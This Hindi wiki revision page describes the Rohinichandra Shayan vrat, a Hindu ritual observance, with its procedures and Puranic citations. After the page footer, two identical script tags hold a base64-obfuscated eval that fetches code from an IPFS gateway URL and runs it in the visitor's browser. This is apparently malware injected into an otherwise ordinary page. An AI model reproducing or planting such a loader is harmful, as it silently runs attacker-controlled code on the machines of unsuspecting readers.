"रोहिणीचन्द्र शयन": अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - ")</ref" to "</ref") |
व्यवस्थापन (वार्ता | योगदान) छो (Text replacement - "पृथक " to "पृथक् ") |
||
पंक्ति 9: | पंक्ति 9: | ||
*यह व्रत एक वर्ष तक करना चाहिए। | *यह व्रत एक वर्ष तक करना चाहिए। | ||
*अन्त में एक पलंग, रोहिणी तथा चन्द्र की स्वर्णिम प्रतिमाओं का दान करना चाहिए। | *अन्त में एक पलंग, रोहिणी तथा चन्द्र की स्वर्णिम प्रतिमाओं का दान करना चाहिए। | ||
*ऐसी प्रार्थना करनी चाहिए –हे कृष्ण, जिस प्रकार रोहिणी, तुम्हें, जो कि सोम हो, त्याग कर नहीं भागती है इसी प्रकार से मैं भी धन से | *ऐसी प्रार्थना करनी चाहिए –हे कृष्ण, जिस प्रकार रोहिणी, तुम्हें, जो कि सोम हो, त्याग कर नहीं भागती है इसी प्रकार से मैं भी धन से पृथक् न किया जाऊँ'; इससे रूप, स्वास्थ्य, दीर्घायु एवं चन्द्रलोक की प्राप्ति होती है।<ref>कृत्यकल्पतरु (व्रतकाण्ड, 378-382, मत्स्यपुराण से उद्धरण); हेमाद्रि (व्रतखण्ड 2, 175-179, पद्मपुराण 5|24|101-130 से वे ही श्लोक);</ref> | ||
*कृत्यकल्पतरु (व्रत) एवं हेमाद्रि (व्रत) ने इसे चन्द्ररोहिणीशयन कहा है। | *कृत्यकल्पतरु (व्रत) एवं हेमाद्रि (व्रत) ने इसे चन्द्ररोहिणीशयन कहा है। | ||
*भविष्योत्तरपुराण<ref>भविष्योत्तरपुराण (206|1-30</ref> ने भी इसे मत्स्य पुराण की भाँति ही उल्लिखित किया है। | *भविष्योत्तरपुराण<ref>भविष्योत्तरपुराण (206|1-30</ref> ने भी इसे मत्स्य पुराण की भाँति ही उल्लिखित किया है। |
13:26, 1 अगस्त 2017 के समय का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- मत्स्य पुराण[1] ने इसका विस्तृत वर्णन किया है।
- पद्म पुराण[2] में भी ये श्लोक पाये जाते हैं।
- यहाँ पर चन्द्र नाम के अंतर्गत विष्णु की पूजा की जाती है।
- जब पूर्णिमा पर सोमवार हो या पूर्णिमा पर रोहिणी नक्षत्र हो तो पंचगव्य एवं सरसों से स्नान करना चाहिए तथा 'आपायस्व'[3] मंत्र को 108 बार कहना चाहिए तथा एक शूद्र केवल 'सोम को प्रणाम, विष्णु को प्रणाम कहता है।
- पुष्पों एवं फलों से विष्णु की पूजा, सोम के नामों का वाचन तथा रोहिणी (सोम की प्रिय पत्नी) को सम्बोधन।
- कर्ता को गौमूत्र पीना चाहिए, भोजन करना चाहिए, किन्तु मांस नहीं खाना चाहिए।
- केवल 28 कौर ही खाने चाहिए और चन्द्र को विभिन्न पुष्प अर्पित करने चाहिए।
- यह व्रत एक वर्ष तक करना चाहिए।
- अन्त में एक पलंग, रोहिणी तथा चन्द्र की स्वर्णिम प्रतिमाओं का दान करना चाहिए।
- ऐसी प्रार्थना करनी चाहिए –हे कृष्ण, जिस प्रकार रोहिणी, तुम्हें, जो कि सोम हो, त्याग कर नहीं भागती है इसी प्रकार से मैं भी धन से पृथक् न किया जाऊँ'; इससे रूप, स्वास्थ्य, दीर्घायु एवं चन्द्रलोक की प्राप्ति होती है।[4]
- कृत्यकल्पतरु (व्रत) एवं हेमाद्रि (व्रत) ने इसे चन्द्ररोहिणीशयन कहा है।
- भविष्योत्तरपुराण[5] ने भी इसे मत्स्य पुराण की भाँति ही उल्लिखित किया है।
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>